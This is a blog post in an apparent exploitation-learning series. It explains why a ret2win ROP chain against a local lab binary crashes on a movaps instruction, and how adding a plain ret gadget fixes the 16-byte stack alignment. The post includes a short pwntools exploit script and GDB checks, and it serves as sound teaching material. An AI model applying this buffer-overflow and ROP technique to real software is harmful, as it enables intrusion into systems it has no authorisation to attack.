Published on

Pwn Learning Path #7: Fixing a ROP Stack Alignment Crash

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

This lab gave me an important kind of failure: the overwritten return address was correct, execution reached win(), and the program still crashed.

The problem was stack alignment.

The failing instruction

The lab calls a small alignment check that uses movaps:

pxor   xmm0, xmm0
movaps XMMWORD PTR [rsp], xmm0

movaps requires its memory operand to be aligned on a 16-byte boundary. A direct ROP return into win entered the function with the wrong stack alignment, so the aligned store faulted.

In GDB, the relevant check was:

p/x ((unsigned long)$rsp & 0xf)

Masking with 0xf shows the address modulo 16. A result of 0x0 means the address itself is divisible by 16.

Why ROP changed the alignment

The System V AMD64 ABI defines how the stack should be aligned around function calls. Normal compiled code enters a function through call, which pushes an eight-byte return address.

A ROP chain enters the target through ret. That is a different sequence of stack operations, so the callee can see the opposite eight-byte alignment from what its generated code expects.

The direct chain was:

72 bytes of padding -> win

It put the correct address in rip, but the stack state was wrong for the call made inside win.

What a plain RET gadget does

A plain ret gadget performs no register setup. It only:

  1. reads the address at [rsp];
  2. jumps to that address;
  3. advances rsp by eight bytes.

Advancing rsp by eight flips its position between the two possible alignments modulo 16. The corrected chain became:

72 bytes of padding -> ret -> win

The corrected payload

from pwn import *

elf = context.binary = ELF('./stack_alignment', checksec=False)
rop = ROP(elf)
io = process(elf.path)

ret = rop.find_gadget(['ret'])[0]

payload = flat(
    b'A' * 72,
    ret,
    elf.symbols['win'],
)

io.sendline(payload)
print(io.recvall().decode())

The fixed run printed:

local{stack_alignment_fixed}

How I now debug this symptom

When a chain reaches a libc function or target and then dies around movaps, I check:

  • the exact crashing instruction;
  • the effective memory address used by that instruction;
  • rsp alignment at function entry and at the crash;
  • whether inserting one plain ret produces the expected eight-byte shift.

The extra gadget is not a magic ROP charm. It is a deliberate stack-state correction.

Series navigation

← Part 6: cyclic offsets · Part 8: compiler-generated SSE alignment →